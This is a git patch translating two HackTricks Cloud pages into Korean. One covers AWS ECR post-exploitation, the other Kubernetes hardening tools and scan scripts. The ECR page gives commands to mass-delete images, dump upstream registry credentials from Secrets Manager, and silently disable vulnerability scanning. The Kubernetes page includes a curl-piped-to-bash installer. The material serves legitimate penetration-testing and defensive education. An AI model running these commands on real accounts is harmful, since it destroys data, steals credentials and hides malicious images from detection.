From b9663080a3d39fcce3bdb95b9c1bd7201eed9397 Mon Sep 17 00:00:00 2001 From: Translator Date: Wed, 17 Dec 2025 10:12:53 +0000 Subject: [PATCH] Translated ['', 'src/pentesting-cloud/kubernetes-security/kubernetes-har --- .../aws-ecr-post-exploitation/README.md | 70 +++++-- .../kubernetes-hardening/README.md | 195 ++++++++++++------ 2 files changed, 184 insertions(+), 81 deletions(-) diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecr-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecr-post-exploitation/README.md index fd330f89e..af73a5e6a 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecr-post-exploitation/README.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecr-post-exploitation/README.md @@ -55,7 +55,7 @@ https://book.hacktricks.wiki/en/generic-methodologies-and-resources/basic-forens ### `ecr:PutLifecyclePolicy` | `ecr:DeleteRepository` | `ecr-public:DeleteRepository` | `ecr:BatchDeleteImage` | `ecr-public:BatchDeleteImage` -이 권한들 중 하나라도 가진 공격자는 **리포지토리의 모든 이미지를 삭제하도록 lifecycle policy를 생성하거나 수정**한 다음 **ECR repository 전체를 삭제**할 수 있습니다. 이로 인해 리포지토리에 저장된 모든 컨테이너 이미지가 손실됩니다. +이러한 권한 중 하나라도 가진 공격자는 **저장소의 모든 이미지를 삭제하도록 수명 주기 정책을 생성하거나 수정할 수 있습니다** 그리고 **ECR 리포지토리 전체를 삭제할 수 있습니다**. 이로 인해 저장소에 저장된 모든 컨테이너 이미지가 손실됩니다. ```bash # Create a JSON file with the malicious lifecycle policy echo '{ @@ -92,19 +92,19 @@ aws ecr-public batch-delete-image --repository-name your-ecr-repo-name --image-i ``` ### Exfiltrate upstream registry credentials from ECR Pull‑Through Cache (PTC) -ECR Pull‑Through Cache가 인증된 upstream registries(Docker Hub, GHCR, ACR 등)에 대해 구성되어 있으면, upstream 자격 증명은 예측 가능한 이름 접두사 `ecr-pullthroughcache/`로 AWS Secrets Manager에 저장됩니다. 운영자는 때때로 ECR 관리자에게 광범위한 Secrets Manager 읽기 권한을 부여하여, 자격 증명 exfiltration 및 AWS 외부에서의 재사용을 가능하게 합니다. +만약 ECR Pull‑Through Cache가 인증된 업스트림 레지스트리(Docker Hub, GHCR, ACR 등)용으로 구성되어 있다면, 업스트림 자격증명은 예측 가능한 이름 접두사인 `ecr-pullthroughcache/`로 AWS Secrets Manager에 저장됩니다. 운영자들은 때때로 ECR admins에게 AWS Secrets Manager에 대한 광범위한 읽기 권한을 부여하여 자격증명 exfiltration 및 AWS 외부에서의 재사용을 가능하게 합니다. -요구 권한 +Requirements - secretsmanager:ListSecrets - secretsmanager:GetSecretValue -PTC의 후보 시크릿 열거 +Enumerate candidate PTC secrets ```bash aws secretsmanager list-secrets \ --query "SecretList[?starts_with(Name, 'ecr-pullthroughcache/')].Name" \ --output text ``` -발견된 secrets를 덤프하고 공통 필드를 파싱합니다 +발견된 secrets를 Dump하고 공통 필드를 parse하기 ```bash for s in $(aws secretsmanager list-secrets \ --query "SecretList[?starts_with(Name, 'ecr-pullthroughcache/')].ARN" --output text); do @@ -114,25 +114,25 @@ jq -r '.username? // .user? // empty' /tmp/ptc_secret.json || true jq -r '.password? // .token? // empty' /tmp/ptc_secret.json || true done ``` -선택 사항: leaked creds를 upstream에 대해 검증 (read‑only login) +선택 사항: leaked creds를 upstream(읽기 전용 로그인)에 대해 검증 ```bash echo "$DOCKERHUB_PASSWORD" | docker login --username "$DOCKERHUB_USERNAME" --password-stdin registry-1.docker.io ``` -Impact -- Secrets Manager 항목을 읽으면 재사용 가능한 업스트림 레지스트리 자격증명 (username/password or token)을 얻을 수 있으며, 이는 업스트림 권한에 따라 AWS 외부에서 private 이미지를 pull하거나 추가 리포지토리에 접근하는 데 악용될 수 있습니다. +영향 +- 이 Secrets Manager 항목들을 읽으면 재사용 가능한 upstream 레지스트리 자격 증명(사용자명/비밀번호 또는 토큰)을 얻을 수 있으며, 이는 upstream 권한에 따라 AWS 외부에서 비공개 이미지를 pull하거나 추가 리포지토리에 접근하는 데 악용될 수 있습니다. -### Registry-level stealth: disable or downgrade scanning via `ecr:PutRegistryScanningConfiguration` +### 레지스트리 수준 은폐: `ecr:PutRegistryScanningConfiguration`를 통해 스캐닝을 비활성화하거나 하향 조정 -레지스트리 수준의 ECR 권한을 가진 공격자는 registry scanning configuration을 BASIC으로 설정하고 scan-on-push 규칙을 제거함으로써 모든 리포지토리에 대한 자동 취약점 스캐닝을 조용히 축소하거나 비활성화할 수 있습니다. 이렇게 하면 새로 푸시된 이미지가 자동으로 스캔되지 않아 취약하거나 악의적인 이미지를 숨길 수 있습니다. +레지스트리 수준의 ECR 권한을 가진 공격자는 레지스트리 스캐닝 구성을 scan-on-push 규칙 없이 BASIC으로 설정하여 모든 리포지토리에 대한 자동 취약성 스캐닝을 조용히 축소하거나 비활성화할 수 있습니다. 이렇게 하면 새로 푸시된 이미지는 자동으로 스캔되지 않아 취약하거나 악성인 이미지가 숨겨집니다. -Requirements +요구 권한 - ecr:PutRegistryScanningConfiguration - ecr:GetRegistryScanningConfiguration - ecr:PutImageScanningConfiguration (선택 사항, 리포지토리별) - ecr:DescribeImages, ecr:DescribeImageScanFindings (검증) -Registry-wide downgrade to manual (no auto scans) +레지스트리 전체를 수동으로 하향 조정 (자동 스캔 없음) ```bash REGION=us-east-1 # Read current config (save to restore later) @@ -144,7 +144,7 @@ aws ecr put-registry-scanning-configuration \ --scan-type BASIC \ --rules '[]' ``` -repo와 이미지로 테스트 +repo와 image로 테스트 ```bash acct=$(aws sts get-caller-identity --query Account --output text) repo=ht-scan-stealth @@ -159,7 +159,7 @@ aws ecr describe-images --region "$REGION" --repository-name "$repo" --image-ids # Optional: will error with ScanNotFoundException if no scan exists aws ecr describe-image-scan-findings --region "$REGION" --repository-name "$repo" --image-id imageTag=test || true ``` -선택 사항: repo 범위에서 추가적으로 권한을 저하시킴 +선택 사항: repo scope에서 추가로 권한을 축소 ```bash # Disable scan-on-push for a specific repository aws ecr put-image-scanning-configuration \ @@ -168,19 +168,19 @@ aws ecr put-image-scanning-configuration \ --image-scanning-configuration scanOnPush=false ``` 영향 -- 레지스트리 전체에 걸친 새 이미지 푸시가 자동으로 스캔되지 않아 취약하거나 악성인 콘텐츠에 대한 가시성이 감소하고 수동 스캔이 시작될 때까지 탐지가 지연됩니다. +- 레지스트리 전체에 걸친 새로운 이미지 푸시는 자동으로 스캔되지 않아 취약하거나 악성인 콘텐츠에 대한 가시성이 줄어들고 수동 스캔이 시작될 때까지 탐지가 지연됩니다. -### 레지스트리 전역 스캔 엔진 다운그레이드 `ecr:PutAccountSetting`를 통해 (AWS_NATIVE -> CLAIR) +### 레지스트리 전체 스캐닝 엔진 강등 `ecr:PutAccountSetting`을 통해 (AWS_NATIVE -> CLAIR) -기본 AWS_NATIVE에서 레거시 CLAIR 엔진으로 BASIC 스캔 엔진을 전환하여 레지스트리 전체의 취약점 탐지 품질을 저하시킬 수 있습니다. 이는 스캐닝을 비활성화하지는 않지만 결과와 커버리지에 실질적 변화를 초래할 수 있습니다. 규칙이 없는 BASIC 레지스트리 스캔 구성과 결합하면 스캔을 수동 전용으로 만들 수 있습니다. +기본 AWS_NATIVE에서 레거시 CLAIR 엔진으로 BASIC 스캔 엔진을 전환하면 레지스트리 전체의 취약점 탐지 품질을 저하시킬 수 있습니다. 이 작업은 스캐닝을 비활성화하지는 않지만 결과/범위에 실질적인 변화를 초래할 수 있습니다. 규칙이 없는 BASIC 레지스트리 스캔 구성과 결합하면 스캔을 수동 전용으로 만들 수 있습니다. -요구 권한 +요구 사항 - `ecr:PutAccountSetting`, `ecr:GetAccountSetting` - (선택 사항) `ecr:PutRegistryScanningConfiguration`, `ecr:GetRegistryScanningConfiguration` 영향 -- 레지스트리 설정 `BASIC_SCAN_TYPE_VERSION`이 `CLAIR`로 설정되어 이후의 BASIC 스캔이 다운그레이드된 엔진으로 실행됩니다. CloudTrail은 `PutAccountSetting` API 호출을 기록합니다. +- 레지스트리 설정 `BASIC_SCAN_TYPE_VERSION`이 `CLAIR`로 설정되어 이후의 BASIC 스캔이 강등된 엔진으로 실행됩니다. CloudTrail은 `PutAccountSetting` API 호출을 기록합니다. 단계 ```bash @@ -201,4 +201,36 @@ aws ecr put-registry-scanning-configuration --region $REGION --scan-type BASIC - # 5) Restore to AWS_NATIVE when finished to avoid side effects aws ecr put-account-setting --region $REGION --name BASIC_SCAN_TYPE_VERSION --value AWS_NATIVE ``` +### ECR 이미지의 취약점 스캔 +```bash +#!/bin/bash + +# This script pulls all images from ECR and runs snyk on them showing vulnerabilities for all images + +region= +profile= + +registryId=$(aws ecr describe-registry --region $region --profile $profile --output json | jq -r '.registryId') + +# Configure docker creds +aws ecr get-login-password --region $region --profile $profile | docker login --username AWS --password-stdin $registryId.dkr.ecr.$region.amazonaws.com + +while read -r repo; do +echo "Working on repository $repo" +digest=$(aws ecr describe-images --repository-name $repo --image-ids imageTag=latest --region $region --profile $profile --output json | jq -r '.imageDetails[] | .imageDigest') +if [ -z "$digest" ] +then +echo "No images! Empty repository" +continue +fi +url=$registryId.dkr.ecr.$region.amazonaws.com/$repo@$digest +echo "Pulling $url" +docker pull $url +echo "Scanning $url" +snyk container test $url --json-file-output=./snyk/$repo.json --severity-threshold=high +# trivy image -f json -o ./trivy/$repo.json --severity HIGH,CRITICAL $url +# echo "Removing image $url" +# docker image rm $url +done < <(aws ecr describe-repositories --region $region --profile $profile --output json | jq -r '.repositories[] | .repositoryName') +``` {{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/kubernetes-security/kubernetes-hardening/README.md b/src/pentesting-cloud/kubernetes-security/kubernetes-hardening/README.md index e0ee595c2..7e3ae54f2 100644 --- a/src/pentesting-cloud/kubernetes-security/kubernetes-hardening/README.md +++ b/src/pentesting-cloud/kubernetes-security/kubernetes-hardening/README.md @@ -1,4 +1,4 @@ -# Kubernetes 보안 강화 +# Kubernetes 하드닝 {{#include ../../../banners/hacktricks-training.md}} @@ -6,7 +6,7 @@ ### [Steampipe - Kubernetes Compliance](https://github.com/turbot/steampipe-mod-kubernetes-compliance) -이 도구는 **Kubernetes 클러스터에 대한 여러 규정 준수 검사를 수행합니다**. CIS, National Security Agency (NSA), 및 Cybersecurity and Infrastructure Security Agency (CISA)의 Kubernetes 보안 강화를 위한 Cybersecurity 기술 보고서를 지원합니다. +이는 **Kubernetes 클러스터에 대한 여러 컴플라이언스 검사를 제공합니다**. CIS, National Security Agency (NSA) 및 Cybersecurity and Infrastructure Security Agency (CISA)의 Kubernetes 하드닝 관련 사이버보안 기술 보고서를 지원합니다. ```bash # Install Steampipe brew install turbot/tap/powerpipe @@ -27,14 +27,14 @@ powerpipe server ``` ### [**Kubescape**](https://github.com/armosec/kubescape) -[**Kubescape**](https://github.com/armosec/kubescape)는 리스크 분석, 보안 컴플라이언스, RBAC 시각화 및 이미지 취약점 스캐닝을 포함하는 멀티-클라우드 K8s 단일 관리 창(single pane of glass)을 제공하는 K8s 오픈소스 도구입니다. Kubescape는 K8s 클러스터, YAML 파일, HELM 차트 등을 스캔하여 여러 프레임워크 (such as the [NSA-CISA](https://www.armosec.io/blog/kubernetes-hardening-guidance-summary-by-armo) , [MITRE ATT\&CK®](https://www.microsoft.com/security/blog/2021/03/23/secure-containerized-environments-with-updated-threat-matrix-for-kubernetes/)), 소프트웨어 취약점, 및 CI/CD 파이프라인 초기 단계에서의 RBAC (role-based-access-control) 위반을 탐지하고 즉시 리스크 점수를 계산하며 시간에 따른 리스크 추세를 보여줍니다. +[**Kubescape**](https://github.com/armosec/kubescape)는 K8s 오픈소스 도구로, 멀티클라우드 환경에서 K8s를 한눈에 볼 수 있는 단일 창(single pane of glass)을 제공하며 리스크 분석, 보안 컴플라이언스, RBAC 시각화 도구 및 이미지 취약점 스캐닝을 포함합니다. Kubescape는 K8s 클러스터, YAML 파일, 그리고 HELM 차트를 스캔하여 여러 프레임워크(예: [NSA-CISA](https://www.armosec.io/blog/kubernetes-hardening-guidance-summary-by-armo) , [MITRE ATT\&CK®](https://www.microsoft.com/security/blog/2021/03/23/secure-containerized-environments-with-updated-threat-matrix-for-kubernetes/))에 따른 잘못된 구성(misconfigurations), 소프트웨어 취약점 및 CI/CD 파이프라인 초기 단계에서의 RBAC (role-based-access-control) 위반을 탐지하고 즉시 리스크 점수를 계산하며 시간에 따른 리스크 추세를 보여줍니다. ```bash curl -s https://raw.githubusercontent.com/kubescape/kubescape/master/install.sh | /bin/bash kubescape scan --verbose ``` ### [**Popeye**](https://github.com/derailed/popeye) -[**Popeye**](https://github.com/derailed/popeye)는 라이브 Kubernetes 클러스터를 스캔하고 **배포된 리소스 및 구성에서 발생할 수 있는 잠재적 문제를 보고**하는 유틸리티입니다. 디스크에 있는 내용이 아니라 실제로 배포된 것에 기반해 클러스터를 정리(sanitize)합니다. 클러스터를 스캔하여 잘못된 구성(misconfigurations)을 감지하고 모범 사례가 적용되도록 도와 향후 골칫거리를 예방합니다. 이는 실제 환경에서 Kubernetes 클러스터를 운영할 때 맞닥뜨리는 인지적 \_over_load를 줄이는 것을 목표로 합니다. 또한 클러스터가 metric-server를 사용 중이라면 리소스의 과/부족 할당을 보고하고 클러스터 용량이 부족해질 경우 경고하려 시도합니다. +[**Popeye**](https://github.com/derailed/popeye)는 라이브 Kubernetes 클러스터를 스캔하고 **배포된 리소스 및 구성에서 발생할 수 있는 문제를 보고**하는 유틸리티입니다. 이 도구는 디스크에 있는 것이 아니라 실제로 배포된 내용을 기준으로 클러스터를 정리합니다. 클러스터를 스캔함으로써 잘못된 구성들을 감지하고 모범 사례가 적용되었는지 확인하는 데 도움을 주어 향후 문제를 예방합니다. 이는 현장에서 Kubernetes 클러스터를 운영할 때 겪게 되는 인지적 과부하를 줄이는 것을 목표로 합니다. 또한 클러스터가 metric-server를 사용 중이라면 잠재적인 리소스 과/부족 할당을 보고하고 클러스터 용량이 부족해질 경우 경고하려 시도합니다. ### [**Kube-bench**](https://github.com/aquasecurity/kube-bench) @@ -48,76 +48,75 @@ You can choose to: ### [**Kubeaudit**](https://github.com/Shopify/kubeaudit) -**[DEPRECATED]** 도구 [**kubeaudit**](https://github.com/Shopify/kubeaudit)는 다양한 보안 문제에 대해 Kubernetes 클러스터를 감사(audit)하는 커맨드라인 도구이자 Go 패키지입니다. +**[DEPRECATED]** The tool [**kubeaudit**](https://github.com/Shopify/kubeaudit) is a command line tool and a Go package to **audit Kubernetes clusters** for various different security concerns. -Kubeaudit은 자신이 클러스터 내의 container에서 실행 중인지 감지할 수 있습니다. 그렇다면 해당 클러스터의 모든 Kubernetes 리소스를 감사하려 시도합니다: +Kubeaudit can detect if it is running within a container in a cluster. If so, it will try to audit all Kubernetes resources in that cluster: ``` kubeaudit all ``` -이 도구는 또한 `autofix` 인수로 **감지된 문제를 자동으로 수정합니다.** +이 도구는 `autofix` 인수를 통해 **감지된 문제를 자동으로 수정할 수 있습니다.** ### [**Kube-hunter**](https://github.com/aquasecurity/kube-hunter) -**[사용 중단]** 도구 [**kube-hunter**](https://github.com/aquasecurity/kube-hunter)는 Kubernetes 클러스터의 보안 취약점을 탐지합니다. 이 도구는 Kubernetes 환경에서 보안 문제에 대한 인식과 가시성을 높이기 위해 개발되었습니다. +**[DEPRECATED]** 이 도구인 [**kube-hunter**](https://github.com/aquasecurity/kube-hunter)는 Kubernetes 클러스터의 보안 취약점을 찾아냅니다. 이 도구는 Kubernetes 환경의 보안 문제에 대한 인식과 가시성을 높이기 위해 개발되었습니다. ```bash kube-hunter --remote some.node.com ``` ### [Trivy](https://github.com/aquasecurity/trivy) -[Trivy](https://github.com/aquasecurity/trivy) 은 보안 문제를 찾는 스캐너를 제공하며, 다음 대상에서 이러한 문제를 탐지할 수 있습니다: +[Trivy](https://github.com/aquasecurity/trivy) 는 보안 문제를 찾는 스캐너를 제공하며, 다음과 같은 대상에서 문제를 탐지할 수 있습니다: - 컨테이너 이미지 - 파일시스템 -- Git 리포지토리(원격) +- Git Repository (원격) - 가상 머신 이미지 - Kubernetes ### [**Kubei**](https://github.com/Erezf-p/kubei) -**[유지관리되지 않는 것으로 보임]** +**[유지 관리되지 않는 것으로 보임]** -[**Kubei**](https://github.com/Erezf-p/kubei) 는 취약점 스캐닝 및 CIS Docker benchmark 도구로, 사용자가 Kubernetes 클러스터의 정확하고 즉각적인 위험 평가를 받을 수 있게 해줍니다. Kubei는 애플리케이션 파드 및 시스템 파드의 이미지를 포함하여 Kubernetes 클러스터에서 사용되는 모든 이미지를 스캔합니다. +[**Kubei**](https://github.com/Erezf-p/kubei) 는 취약점 스캐닝 및 CIS Docker 벤치마크 도구로, 사용자가 Kubernetes 클러스터의 정확하고 즉각적인 리스크 평가를 받을 수 있게 해줍니다. Kubei는 애플리케이션 pod와 시스템 pod의 이미지 등 Kubernetes 클러스터에서 사용되는 모든 이미지를 스캔합니다. ### [**KubiScan**](https://github.com/cyberark/KubiScan) -[**KubiScan**](https://github.com/cyberark/KubiScan) 은 Kubernetes의 역할 기반 접근 제어(RBAC) 권한 모델에서 위험한 권한을 스캔하는 도구입니다. +[**KubiScan**](https://github.com/cyberark/KubiScan) 은 Kubernetes의 역할 기반 접근 제어(Role-based access control, RBAC) 권한 모델에서 위험한 권한을 검색하는 도구입니다. ### [Managed Kubernetes Auditing Toolkit](https://github.com/DataDog/managed-kubernetes-auditing-toolkit) -[**Mkat**](https://github.com/DataDog/managed-kubernetes-auditing-toolkit) 은 다른 도구들과 비교해 고위험 검사를 테스트하기 위해 만들어진 도구입니다. 주로 3가지 모드가 있습니다: +[**Mkat**](https://github.com/DataDog/managed-kubernetes-auditing-toolkit) 은 다른 도구들과 비교해 더 높은 위험도 검사를 수행하도록 만들어진 도구입니다. 주로 다음의 3가지 모드를 제공합니다: -- **`find-role-relationships`**: 어떤 AWS 역할이 어떤 파드에서 실행되는지 찾습니다. -- **`find-secrets`**: Pods, ConfigMaps, and Secrets와 같은 K8s 리소스에서 비밀을 식별하려 시도합니다. -- **`test-imds-access`**: 파드를 실행해 metadata v1 및 v2에 접근을 시도합니다. WARNING: 클러스터에서 파드를 실행하므로, 원치 않을 수 있으니 매우 주의하세요! +- **`find-role-relationships`**: 어떤 AWS roles가 어떤 pods에서 실행되고 있는지 찾습니다. +- **`find-secrets`**: Pods, ConfigMaps, Secrets 등과 같은 K8s 리소스에서 secrets를 식별하려고 시도합니다. +- **`test-imds-access`**: pod를 실행하고 metadata v1 및 v2에 접근을 시도합니다. 경고: 이 모드는 클러스터에서 pod를 실행하므로 매우 주의하세요 — 원치 않을 수 있습니다! - -## **IaC 코드 감사** +## **Audit IaC Code** ### [**KICS**](https://github.com/Checkmarx/kics) -[**KICS**](https://github.com/Checkmarx/kics) 는 다음 Infrastructure as Code 솔루션에서 보안 취약점, 규정 준수 문제 및 인프라 구성 오류를 찾아냅니다: Terraform, Kubernetes, Docker, AWS CloudFormation, Ansible, Helm, Microsoft ARM, 및 OpenAPI 3.0 사양 +[**KICS**](https://github.com/Checkmarx/kics) 는 **보안 취약점**, 규정 준수 문제 및 인프라 구성 오류를 다음의 **Infrastructure as Code 솔루션들**에서 찾아냅니다: Terraform, Kubernetes, Docker, AWS CloudFormation, Ansible, Helm, Microsoft ARM, 및 OpenAPI 3.0 명세 ### [**Checkov**](https://github.com/bridgecrewio/checkov) -[**Checkov**](https://github.com/bridgecrewio/checkov) 는 infrastructure-as-code를 위한 정적 코드 분석 도구입니다. +[**Checkov**](https://github.com/bridgecrewio/checkov) 은 infrastructure-as-code를 위한 정적 코드 분석 도구입니다. -이는 [Terraform](https://terraform.io), Terraform plan, [Cloudformation](https://aws.amazon.com/cloudformation/), [AWS SAM](https://aws.amazon.com/serverless/sam/), [Kubernetes](https://kubernetes.io), [Dockerfile](https://www.docker.com), [Serverless](https://www.serverless.com) 또는 [ARM Templates](https://docs.microsoft.com/en-us/azure/azure-resource-manager/templates/overview)로 프로비저닝된 클라우드 인프라를 스캔하고, 그래프 기반 스캐닝을 사용해 보안 및 규정 준수 구성 오류를 탐지합니다. +이 도구는 [Terraform](https://terraform.io), Terraform plan, [Cloudformation](https://aws.amazon.com/cloudformation/), [AWS SAM](https://aws.amazon.com/serverless/sam/), [Kubernetes](https://kubernetes.io), [Dockerfile](https://www.docker.com), [Serverless](https://www.serverless.com) 또는 [ARM Templates](https://docs.microsoft.com/en-us/azure/azure-resource-manager/templates/overview)를 사용해 프로비저닝된 클라우드 인프라를 스캔하고 그래프 기반 스캐닝을 사용하여 보안 및 규정 준수 구성 오류를 탐지합니다. ### [**Kube-score**](https://github.com/zegl/kube-score) -[**kube-score**](https://github.com/zegl/kube-score) 는 Kubernetes 오브젝트 정의에 대한 정적 코드 분석을 수행하는 도구입니다. +[**kube-score**](https://github.com/zegl/kube-score) 는 Kubernetes 객체 정의에 대한 정적 코드 분석을 수행하는 도구입니다. -설치 방법: +설치: -| 배포 방법 | 명령 / 링크 | -| --------------------------------------------------- | --------------------------------------------------------------------------------------- | -| macOS, Linux, Windows용 사전 빌드 바이너리 | [GitHub releases](https://github.com/zegl/kube-score/releases) | -| Docker | `docker pull zegl/kube-score` ([Docker Hub)](https://hub.docker.com/r/zegl/kube-score/) | -| Homebrew (macOS 및 Linux) | `brew install kube-score` | -| [Krew](https://krew.sigs.k8s.io/) (macOS 및 Linux) | `kubectl krew install score` | +| 배포형 | 명령 / 링크 | +| -------------------------------------------------- | --------------------------------------------------------------------------------------- | +| macOS, Linux, Windows용 미리 빌드된 바이너리 | [GitHub releases](https://github.com/zegl/kube-score/releases) | +| Docker | `docker pull zegl/kube-score` ([Docker Hub)](https://hub.docker.com/r/zegl/kube-score/) | +| Homebrew (macOS 및 Linux) | `brew install kube-score` | +| [Krew](https://krew.sigs.k8s.io/) (macOS 및 Linux) | `kubectl krew install score` | -## YAML 파일 및 Helm Charts 분석 도구 +## Tools to analyze YAML files & Helm Charts ### [**Kube-linter**](https://github.com/stackrox/kube-linter) ```bash @@ -163,41 +162,113 @@ helm template chart /path/to/chart \ --set 'config.urls[0]=https://dummy.backend.internal' \ | kubesec scan - ``` -## 팁 +## 종속성 문제 스캔 -### Kubernetes PodSecurityContext 및 SecurityContext +### 이미지 스캔 +```bash +#!/bin/bash +export images=$(kubectl get pods --all-namespaces -o jsonpath="{range .items[]}{.spec.containers[].image}{'\n'}{end}" | sort | uniq) +echo "All images found: $images" +echo "" +echo "" +for image in $images; do +# Run trivy scan and save JSON output +trivy image --format json --output /tmp/result.json --severity HIGH,CRITICAL "$image" >/dev/null 2>&1 +# Extract binary targets that have vulnerabilities +binaries=$(jq -r '.Results[] | select(.Vulnerabilities != null) | .Target' /tmp/result.json) +if [ -n "$binaries" ]; then +echo "- **Image:** $image" +while IFS= read -r binary; do +echo " - **Binary:** $binary" +jq -r --arg target "$binary" ' +.Results[] | select(.Target == $target) | .Vulnerabilities[] | +" - **\(.Title)** (\(.Severity)): Affecting `\(.PkgName)` fixed in version `\(.FixedVersion)` (current version is `\(.InstalledVersion)`)." +' /tmp/result.json +done <<< "$binaries" +echo "" +echo "" +echo "" +fi +done +``` +### Helm charts 스캔 +```bash +#!/bin/bash +# scan-helm-charts.sh +# This script lists all Helm releases, renders their manifests, +# and then scans each manifest with Trivy for configuration issues. -Pod의 **보안 컨텍스트**( _PodSecurityContext_ )와 실행될 **컨테이너**들의 **보안 컨텍스트**( _SecurityContext_ )를 구성할 수 있습니다. 자세한 내용은 다음을 참조하세요: +# Check that jq is installed +if ! command -v jq &>/dev/null; then +echo "jq is required but not installed. Please install jq and rerun." +exit 1 +fi + +# List all helm releases and extract namespace and release name +echo "Listing Helm releases..." +helm list --all-namespaces -o json | jq -r '.[] | "\(.namespace) \(.name)"' > helm_releases.txt + +# Check if any releases were found +if [ ! -s helm_releases.txt ]; then +echo "No Helm releases found." +exit 0 +fi + +# Loop through each Helm release and scan its rendered manifest +while IFS=" " read -r namespace release; do +echo "---------------------------------------------" +echo "Scanning Helm release '$release' in namespace '$namespace'..." +# Render the Helm chart manifest +manifest_file="${release}-manifest.yaml" +helm get manifest "$release" -n "$namespace" > "$manifest_file" +if [ $? -ne 0 ]; then +echo "Failed to get manifest for $release in $namespace. Skipping." +continue +fi +# Scan the manifest with Trivy (configuration scan) +echo "Running Trivy config scan on $manifest_file..." +trivy config --severity MEDIUM,HIGH,CRITICAL "$manifest_file" +echo "Completed scan for $release." +done < helm_releases.txt + +echo "---------------------------------------------" +echo "Helm chart scanning complete." +``` +## Tips + +### Kubernetes PodSecurityContext and SecurityContext + +You can configure the **security context of the Pods** (with _PodSecurityContext_) and of the **containers** that are going to be run (with _SecurityContext_). For more information read: {{#ref}} kubernetes-securitycontext-s.md {{#endref}} -### Kubernetes API 하드닝 +### Kubernetes API Hardening -Kubernetes Api Server에 대한 접근을 보호하는 것은 매우 중요합니다. 권한이 충분한 악의적 행위자가 이를 악용하면 환경에 다양한 방식으로 심각한 피해를 줄 수 있습니다.\ -API Server에 대한 **접근**(**whitelist** 출처로 API Server 접근을 허용하고 다른 모든 연결은 차단)과 [**authentication**](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet-authentication-authorization/)을 모두 보호하는 것이 중요합니다(원칙인 **least** **privilege**를 따르십시오). 그리고 절대 **anonymous** **requests**를 **허용하지 마십시오**. +Kubernetes Api Server에 대한 접근을 **보호하는 것**은 매우 중요합니다. 충분한 권한을 가진 악의적인 행위자가 이를 악용하면 환경에 심각한 피해를 줄 수 있습니다.\ +API Server에 대한 **access**(API Server에 접근할 수 있는 출처를 **whitelist**하고 다른 모든 연결을 차단)와 [**authentication**](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet-authentication-authorization/) (최소 권한 원칙을 따름)을 모두 안전하게 구성하는 것이 중요합니다. 그리고 절대 **anonymous** **requests**를 허용해서는 안 됩니다. -일반적인 요청 처리 과정:\ -User 또는 K8s ServiceAccount –> Authentication –> Authorization –> Admission Control. +**Common Request process:**\ +User or K8s ServiceAccount –> Authentication –> Authorization –> Admission Control. -**팁**: +**Tips**: -- 포트 닫기. -- 익명 접근을 피하세요. -- NodeRestriction: 특정 노드에서 API에 대한 접근 금지. +- 포트를 차단하세요. +- Anonymous access를 피하세요. +- NodeRestriction; 특정 노드에서 API에 접근하지 못하도록 합니다. - [https://kubernetes.io/docs/reference/access-authn-authz/admission-controllers/#noderestriction](https://kubernetes.io/docs/reference/access-authn-authz/admission-controllers/#noderestriction) -- 기본적으로 kubelets가 node-restriction.kubernetes.io/ 접두사가 붙은 레이블을 추가/제거/수정하는 것을 방지합니다. 이 레이블 접두사는 관리자가 Node 객체에 워크로드 격리를 위해 라벨링하는 용도로 예약되어 있으며, kubelets는 해당 접두사를 가진 레이블을 수정할 수 없습니다. -- 또한 kubelets가 이러한 레이블과 레이블 접두사를 추가/제거/수정할 수 있도록 허용합니다. -- 레이블을 통해 워크로드의 안전한 격리를 보장하세요. -- 특정 Pods가 API에 접근하지 못하게 하세요. -- ApiServer가 인터넷에 노출되지 않도록 하세요. -- 무단 접근을 방지하도록 RBAC을 적용하세요. -- ApiServer 포트에 대해 방화벽 및 IP 화이트리스트 적용. +- 기본적으로 node-restriction.kubernetes.io/ 접두사가 붙은 레이블을 kubelets가 추가/제거/업데이트하지 못하도록 방지합니다. 이 레이블 접두사는 워크로드 격리를 위해 관리자가 Node 객체에 레이블을 지정할 때 예약되며, kubelets는 해당 접두사가 붙은 레이블을 수정할 수 없습니다. +- 또한 kubelets가 이러한 레이블 및 레이블 접두사를 추가/제거/업데이트하는 것을 허용합니다. +- 레이블을 사용하여 안전한 워크로드 격리를 보장하세요. +- 특정 pods의 API 접근을 차단하세요. +- ApiServer의 인터넷 노출을 방지하세요. +- 무단 접근을 RBAC으로 방지하세요. +- ApiServer 포트는 방화벽과 IP 화이트리스트로 보호하세요. -### SecurityContext 하드닝 +### SecurityContext Hardening -기본적으로 Pod가 시작될 때 다른 사용자가 지정되지 않으면 root 사용자가 사용됩니다. 다음과 유사한 템플릿을 사용하여 애플리케이션을 더 안전한 컨텍스트에서 실행할 수 있습니다: +기본적으로 다른 사용자가 지정되지 않으면 Pod가 시작될 때 root 사용자가 사용됩니다. 다음과 유사한 템플릿을 사용하여 애플리케이션을 더 안전한 컨텍스트에서 실행할 수 있습니다: ```yaml apiVersion: v1 kind: Pod @@ -228,27 +299,27 @@ allowPrivilegeEscalation: true ### 일반 하드닝 -Kubernetes 환경을 필요한 빈도로 업데이트하여 다음을 유지해야 합니다: +You should update your Kubernetes environment as frequently as necessary to have: -- 의존성 최신 상태 유지. +- 의존성을 최신 상태로 유지. - 버그 및 보안 패치 적용. -[**Release cycles**](https://kubernetes.io/docs/setup/release/version-skew-policy/): 3개월마다 새로운 minor 릴리스가 배포됩니다 -- 1.20.3 = 1(Major).20(Minor).3(patch) +[**Release cycles**](https://kubernetes.io/docs/setup/release/version-skew-policy/): 각 3개월마다 새로운 마이너 릴리스가 있습니다 -- 1.20.3 = 1(Major).20(Minor).3(patch) -**Kubernetes Cluster를 업데이트하는 가장 좋은 방법은 (출처:** [**here**](https://kubernetes.io/docs/tasks/administer-cluster/cluster-upgrade/)**):** +**Kubernetes 클러스터를 업데이트하는 가장 좋은 방법은 (출처** [**here**](https://kubernetes.io/docs/tasks/administer-cluster/cluster-upgrade/)**):** -- 다음 순서에 따라 마스터 노드 구성요소를 업그레이드하세요: +- Master Node 컴포넌트를 다음 순서로 업그레이드하십시오: - etcd (모든 인스턴스). -- kube-apiserver (모든 컨트롤 플레인 호스트). +- kube-apiserver (모든 control plane 호스트). - kube-controller-manager. - 